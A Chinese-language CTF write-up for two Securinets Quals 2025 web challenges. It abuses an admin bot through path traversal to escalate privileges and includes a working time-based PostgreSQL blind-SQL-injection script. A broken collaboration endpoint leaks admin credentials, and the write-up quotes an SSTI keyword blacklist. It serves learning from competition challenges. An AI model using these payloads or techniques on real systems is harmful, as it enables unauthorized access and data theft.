Securinets CTF Quals 2025 wp及复现
Securinets CTF Quals 2025
S3cret5
Msg 的这个位置好像可以 sql 注入,有一层 filter

需要 admin 权限

得想办法提权
jwt 这个密钥好像得想办法拿到 (有个默认的,不知道是不是)
我试了一下靶机上的不是
report 路由好像有个管理员 bot
const express = require("express");
const router = express.Router();
const User = require("../models/User");
const puppeteer = require("puppeteer");
const jwt = require("jsonwebtoken");
const authMiddleware = require("../middleware/authMiddleware");
const JWT_SECRET = process.env.JWT_SECRET || "supersecret";
router.get("/", authMiddleware, (req, res) => {
res.render("reportPage", { csrfToken: req.csrfToken() });
});
router.post("/", authMiddleware, async (req, res) => {
const { url } = req.body;
if (!url || !url.startsWith("http")) {
return res.status(400).send("Invalid URL");
}
try {
const admin = await User.findById(1);
if (!admin) throw new Error("Admin not found");
const token = jwt.sign({ id: admin.id, role: admin.role }, JWT_SECRET, { expiresIn: "1h" });
// Launch Puppeteer
const browser = await puppeteer.launch({
headless: true,
args: ["--no-sandbox", "--disable-setuid-sandbox"],
});
const page = await browser.newPage();
// Set admin token cookie
await page.setCookie({
name: "token",
value: token,
domain: "localhost",
path: "/",
});
// Visit the reported URL
await page.goto(url, { waitUntil: "networkidle2" });
await browser.close();
res.status(200).send("Thanks for your report");
} catch (error) {
console.error(error);
res.status(200).send("Thanks for your report");
}
});
module.exports = router;
有没有办法利用
这个 bot 只会 goto,我试试能不能让他访问 admin/addAdmin 来提权
要加 json 数据,试试打 302

为啥会 400..
我起个本地试一下吧。。为啥本地就可以,区别在哪???也有可能是本地的环境有一点点不一样
搞不懂了,明天再看看
果然是不一样,附件更新了
if (!url || !url.startsWith("http://localhost:3000")) {
return res.status(400).send("Invalid URL");
}
限制了只能做本地 ssrf,得找别的提权方法
感觉本地试了一通没发现 admin 可以利用的模块,所有的东西都是从数据库提的,也没有外带的思路
卡住了,看看另一道吧
复现:
太有趣了这个点
首先我们能找到提权的接口是这个
exports.addAdmin = async (req, res) => {
try {
const { userId } = req.body;
if (req.user.role !== "admin") {
return res.status(403).json({ error: "Access denied" });
}
const updatedUser = await User.updateRole(userId, "admin");
res.json({ message: "Role updated", user: updatedUser });
} catch (err) {
console.error(err);
res.status(500).json({ error: "Failed to update role" });
}
};
同时我们有一个可以本地 ssrf 的 admin bot
router.post("/", authMiddleware, async (req, res) => {
const { url } = req.body;
if (!url || !url.startsWith("http://localhost:3000")) {
return res.status(400).send("Invalid URL");
}
try {
const admin = await User.findById(1);
if (!admin) throw new Error("Admin not found");
const token = jwt.sign({ id: admin.id, role: admin.role }, JWT_SECRET, { expiresIn: "1h" });
// Launch Puppeteer
const browser = await puppeteer.launch({
headless: true,
args: ["--no-sandbox", "--disable-setuid-sandbox"],
});
const page = await browser.newPage();
// Set admin token cookie
await page.setCookie({
name: "token",
value: token,
domain: "localhost",
path: "/",
});
// Visit the reported URL
await page.goto(url, { waitUntil: "networkidle2" });
await browser.close();
res.status(200).send("Thanks for your report");
} catch (error) {
console.error(error);
res.status(200).send("Thanks for your report");
}
});
这个 bot 的限制在于只能控制 url,没办法控制参数,因此我们需要一个可以帮我们传参的接口
考虑到 addAdmin 的接口参数为 userId=,我们就按这个方向找
这里就遇到一个我做这两题时的一个误区:只看源码,不看页面
但实际上服务器能够泄露出的信息都需要从页面找线索
例如这个地方,我们需要看到 profile.ejs
const profileIds = urlParams.getAll("id");
const profileId = profileIds[profileIds.length - 1];
fetch("/log/"+profileId, {
method: "POST",
headers: { "Content-Type": "application/json" },
credentials: "include",
body: JSON.stringify({
userId: "<%= user.id %>",
action: "Visited user profile with id=" + profileId,
_csrf: csrfToken
})
})
.then(res => res.json())
.then(json => console.log("Log created:", json))
.catch(err => console.error("Log error:", err));
它会在查看 profile 时向 log 接口发送请求
同时它的 id 在 url 可控,请求参数也正好包含了 userId
因此我们可以构造 url 为 profile?id=目标id/../../admin/addAdmin 去访问到提权位置
这里的 uset.id 就是在访问 profile 时通过 id 参数获取的
exports.getProfile = async (req, res) => {
try {
const userId = parseInt(req.query.id);
// Only allow access if current user is the same or admin
if (req.user.id !== userId && req.user.role !== "admin") {
return res.status(403).json({ error: "Access denied" });
}
const user = await User.findById(userId);
if (!user) return res.status(404).json({ error: "User not found" });
res.render("profile", { user, currUser: req.user });
} catch (err) {
console.error(err);
res.status(500).json({ error: "Database error" });
}
};
这里的 parseInt 就会保证我们得到的 id 是正常的
http://localhost:3000/user/profile?id=57/../../admin/addAdmin

成功提权,再登陆一次拿新的令牌即可访问 admin 相关路由
下面就是通过 msgs 接口来 sql 注入,先研究一下
exports.showMsgs = async (req, res) => {
if (req.user.role !== "admin") {
return res.status(403).send("Access denied");
}
const { filterBy: filterField, keyword } = req.body;
try {
const rows = await Msg.findAll(filterField, keyword);
res.render("admin-msgs", {
msgs: rows,
filterBy: filterField,
keyword,
csrfToken: req.csrfToken(),
});
} catch (err) {
res.status(400).send("Bad request");
}
};
const { filterBy: filterHelper } = require("../helpers/filterHelper"); // keep helper
findAll: async (filterField = null, keyword = null) => {
const { clause, params } = filterHelper("msgs", filterField, keyword);
const query = `
SELECT msgs.id, msgs.msg, msgs.type, msgs.createdAt, users.username
FROM msgs
INNER JOIN users ON msgs.userId = users.id
${clause || ""}
ORDER BY msgs.createdAt DESC
`;
const res = await db.query(query, params || []);
return res.rows;
},
function sanitizeInput(input) {
return input.replace(/[^a-zA-Z0-9 _-]/g, '');
}
function isValidFilterField(field, allowedFields) {
return allowedFields.includes(field);
}
function filterBy(table, filterBy, keyword, paramIndexStart = 1) {
if (!filterBy || !keyword) {
return { clause: "", params: [] };
}
const clause = ` WHERE ${table}."${filterBy}" LIKE $${paramIndexStart}`;
const params = [`%${keyword}%`];
return { clause, params };
}
module.exports = { filterBy, sanitizeInput, isValidFilterField };
相当于拼接出的语句是
SELECT msgs.id, msgs.msg, msgs.type, msgs.createdAt, users.username
FROM msgs
INNER JOIN users ON msgs.userId = users.id
WHERE msgs."${filterBy}" LIKE [params]
ORDER BY msgs.createdAt DESC
这里的 ${filterBy} 和 [params] 可控,就可以进行盲注
flag 在 flags 表中,字段为 flag
这里抄了个 wp 的盲注脚本,用于学习(我是 sql 苦手
这里是 PostgreSQL
import requests
import time
import string
url = "http://web1-79e4a3bc.p1.securinets.tn/admin/msgs"
cookies = {
"_csrf": "8HlG2MeKZp0eDbXqW1lKct_b",
"SRV": "s2-8e884799b9fb126d2",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Mywicm9sZSI6ImFkbWluIiwiaWF0IjoxNzU5NzA1NzY0LCJleHAiOjE3NTk3MDkzNjR9.k24SU3nVpgy144Knh7tVM_gpXmAvG_00zeOyucn6-_4"
}
response = requests.get("http://web1-79e4a3bc.p1.securinets.tn/admin/msgs", cookies=cookies)
csrf_token = response.text.split('name="_csrf" value="')[1].split('"')[0]
# 获取csrf_token,用于状态保持一致
print(f"CSRF Token: {csrf_token}\n")
FLAG_LENGTH = 44
flag = ""
charset = string.ascii_letters + string.digits + "_{}-!@#$%^&*()"
def test_char(position, char):
escaped_char = char.replace("'", "''")
payload = f"msg\" = 'test' AND (SELECT CASE WHEN SUBSTRING(flag,{position},1)='{escaped_char}' THEN pg_sleep(2) END FROM flags LIMIT 1) IS NULL AND msgs.\"msg"
'''
语句会构成
WHERE msgs."msg" = 'test'
AND (
SELECT
CASE # 匹配语法
WHEN SUBSTRING(flag,{position},1)='{escaped_char}' # 取flag字段的1位比较
THEN pg_sleep(2) # 时间盲注,比较成功就休眠两秒
END # 结束CASE
FROM flags LIMIT 1) #取flags表的一条记录
IS NULL # 无论如何都会返回null,也就不会破坏主查询
AND msgs."msg" LIKE x
'''
data = {
"_csrf": csrf_token,
"filterBy": payload,
"keyword": "x"
}
# 时间盲注
start = time.time()
try:
response = requests.post(url, cookies=cookies, data=data, timeout=5)
elapsed = time.time() - start
return elapsed
except requests.Timeout:
return 5
print("bruteforcing\n")
for pos in range(1, FLAG_LENGTH + 1):
found = False
for char in charset:
elapsed = test_char(pos, char)
if elapsed > 1.5:
flag += char
print(f"Position {pos:2d}: '{char}' | Flag: {flag}")
found = True
break
time.sleep(0.1)
print(f"Flag: {flag}")
由于是外网服务器,延迟可以改大一点,我这里改成 5 秒就能出了
爆的时间比较长就不全爆了
另一种思路是用可以查出的数据来盲注,通过数据条数判断有没有查出,这里不赘述了
https://ahmedalnaamani.dev/blogs/secret5/
Puzzle
/db 目录下有数据库泄露
('9ff6fba6-924d-4c09-9f2e-b89fa60fa8ed', '$2a$06$VhuKtbW6RM9BFml.u37gIeL1Dfg2NordyqvFNsfJ7YrXQKoicPSa2', 'admin', 'admin@securinets.tn', '+X5931173160349', 'admin', 1),
密码是注册时生成的
alphabet = string.ascii_letters + string.digits + '!@#$%^&*'
password = ''.join(secrets.choice(alphabet) for _ in range(12))
同时数据库的密码是 bcrypt 哈希过的,没办法恢复,那这里的关键数据应该是 uuid
Key 爆破不出来

然后又到 jwt 的问题了,同样没办法 unsign 出 key
可以创建一个 editor 的账号
**POST** /confirm-register **HTTP/1.1**
**Host**: puzzle-c4d26ae9.p1.securinets.tn
Accept: */*
**Cookie**: **SRV**=**p2-1c9c9a9afd07712b**
**Content-Type**: **multipart/form-data; boundary=----WebKitFormBoundarybTlNNiLfGIzKLo9s**
**Origin**: http://puzzle-c4d26ae9.p1.securinets.tn
Accept-Encoding: gzip, deflate
**User-Agent**: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
**Referer**: http://puzzle-c4d26ae9.p1.securinets.tn/register
**Content-Length**: 335
------WebKitFormBoundarybTlNNiLfGIzKLo9s
Content-Disposition: form-data; name="username"
xn1
------WebKitFormBoundarybTlNNiLfGIzKLo9s
Content-Disposition: form-data; name="email"
1
------WebKitFormBoundarybTlNNiLfGIzKLo9s
Content-Disposition: form-data; name="phone_number"
1
------WebKitFormBoundarybTlNNiLfGIzKLo9s--
Content-Disposition: form-data; name="role"
1
------WebKitFormBoundarybTlNNiLfGIzKLo9s--
但是我查了 泄露数据库 admin 的 uuid 没查到密码
复现:
这里当时应该没注册成功,因为我忘记把参数终止符滞后了,我以为注册成了 editor
**POST** /confirm-register **HTTP/1.1**
**Host**: puzzle-c4d26ae9.p1.securinets.tn
Accept: */*
**Cookie**: **SRV**=**p2-1c9c9a9afd07712b**
**Content-Type**: **multipart/form-data; boundary=----WebKitFormBoundarybTlNNiLfGIzKLo9s**
**Origin**: http://puzzle-c4d26ae9.p1.securinets.tn
Accept-Encoding: gzip, deflate
**User-Agent**: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
**Referer**: http://puzzle-c4d26ae9.p1.securinets.tn/register
**Content-Length**: 335
------WebKitFormBoundarybTlNNiLfGIzKLo9s
Content-Disposition: form-data; name="username"
xnftr1
------WebKitFormBoundarybTlNNiLfGIzKLo9s
Content-Disposition: form-data; name="email"
1
------WebKitFormBoundarybTlNNiLfGIzKLo9s
Content-Disposition: form-data; name="phone_number"
1
------WebKitFormBoundarybTlNNiLfGIzKLo9s
Content-Disposition: form-data; name="role"
1
------WebKitFormBoundarybTlNNiLfGIzKLo9s--
在这个位置可以获取 uuid
<div class="container mt-5">
<div class="card">
<div class="card-body">
<h1 class="card-title">{{ article.title }}</h1>
<div class="text-muted mb-4">
<span class="d-none author-uuid">{{ article.author_uuid }}</span>
{% if article.collaborator_uuid %}
<span class="d-none collaborator-uuid">{{ article.collaborator_uuid }}</span>
{% endif %}
<!-- Author and collaborator info -->
<small>
Posted by {{ article.author_name }}
{% if article.collaborator_name %}
in collaboration with {{ article.collaborator_name }}
{% endif %}
on {{ article.created_at }}
</small>
</div>
<div class="card-text">
{{ article.content }}
</div>
</div>
</div>
所以需要想办法和 admin 协作
这个同意协议的接口没做身份验证,只需要 request_uuid 就可以
@app.route('/collab/accept/<string:request_uuid>', methods=['POST'])
def accept_collaboration(request_uuid):
if not session.get('uuid'):
return jsonify({'error': 'Unauthorized'}), 401
user = get_user_by_uuid(session['uuid'])
if not user:
return redirect('/login')
if user['role'] == '0':
return jsonify({'error': 'Admins cannot collaborate'}), 403
try:
with sqlite3.connect(DB_FILE) as conn:
conn.row_factory = sqlite3.Row
c = conn.cursor()
c.execute("SELECT * FROM collab_requests WHERE uuid = ?", (request_uuid,))
request = c.fetchone()
if not request:
return jsonify({'error': 'Request not found'}), 404
c.execute("""
INSERT INTO articles (uuid, title, content, author_uuid, collaborator_uuid)
VALUES (?, ?, ?, ?, ?)
""", (request['article_uuid'], request['title'], request['content'],
request['from_uuid'], request['to_uuid']))
c.execute("UPDATE collab_requests SET status = 'accepted' WHERE uuid = ?", (request_uuid,))
conn.commit()
return jsonify({'message': 'Collaboration accepted'})
except Exception as e:
return jsonify({'error': str(e)}), 500
虽然限制了 admin 不能协作,但是我们用自己账号伪造的请求可以直接绕过
抓包拿到请求 uuid,随后同意

在文章页面拿到 uuid

查询密码

Adm1nooooX333!123!!%
登录后来看管理员面板
@app.route('/admin/ban_user', methods=['POST'])
@admin_required
def ban_user():
def is_safe_input(user_input):
blacklist = [
'__', 'subclasses', 'self', 'request', 'session',
'config', 'os', 'import', 'builtins', 'eval', 'exec', 'compile',
'globals', 'locals', 'vars', 'delattr', 'getattr', 'setattr', 'hasattr',
'base', 'init', 'new', 'dict', 'tuple', 'list', 'object', 'type',
'repr', 'str', 'bytes', 'bytearray', 'format', 'input', 'help',
'file', 'open', 'read', 'write', 'close', 'seek', 'flush', 'popen',
'system', 'subprocess', 'shlex', 'commands', 'marshal', 'pickle', 'tempfile',
'os.system', 'subprocess.Popen', 'shutil', 'pathlib', 'walk', 'stat',
'[', '(', ')', '|', '%','_', '"','<', '>','~'
]
lower_input = user_input.lower()
return not any(bad in lower_input for bad in blacklist)
username = request.form.get('username', '')
if not is_safe_input(username):
return admin_panel(ban_message='Blocked input.'), 400
with sqlite3.connect(DB_FILE) as conn:
c = conn.cursor()
c.execute("SELECT * FROM users WHERE username = ?", (username,))
user = c.fetchone()
if not user:
template = 'User {} does not exist.'.format(username)
else:
template = 'User account {} is too recent to be banned'.format(username)
ban_message = render_template_string(template)
return admin_panel(ban_message=ban_message), 200
这个接口 ban 得很严格,主要是 ban 了中括号和小括号,绕过不太可能
这里还有一个 admin 访问的目录路由
@app.route('/data')
@admin_required
def list_data_files():
files = []
for file in Path(DATA_DIR).glob('*'):
if file.is_file():
files.append({
'name': file.name,
'size': file.stat().st_size,
'modified': datetime.fromtimestamp(file.stat().st_mtime).strftime('%Y-%m-%d %H:%M:%S')
})
return render_template('directory.html',
path='/data',
files=files,
is_public=False)
@app.route('/data/', defaults={'req_path': ''})
@app.route('/data/<path:req_path>')
@admin_required
def serve_data(req_path):
abs_path = os.path.abspath(os.path.join(DATA_DIR, req_path))
data_dir_abs = os.path.abspath(DATA_DIR)
if os.path.commonpath([data_dir_abs, abs_path]) != data_dir_abs:
return abort(403)
if not os.path.exists(abs_path):
return abort(404)
if os.path.isfile(abs_path):
return send_file(abs_path)
files = []
for file in os.listdir(abs_path):
file_path = os.path.join(abs_path, file)
stats = os.stat(file_path)
files.append({
'name': file,
'size': stats.st_size,
'modified': datetime.fromtimestamp(stats.st_mtime).strftime('%Y-%m-%d %H:%M:%S')
})
return render_template('directory.html',
path=f'/data/{req_path}',
files=files,
is_public=False)

压缩包需要密码
exe 可以逆向出默认值

server = '127.0.0.1'\ndatabase = 'puzzledb'\nusername = 'sa'\npassword = 'PUZZLE+7011_X207+!*'
但是这个是连不了数据库的
尝试发现这个密码是解压密码,解压后拿到 flag

浙公网安备 33010602011771号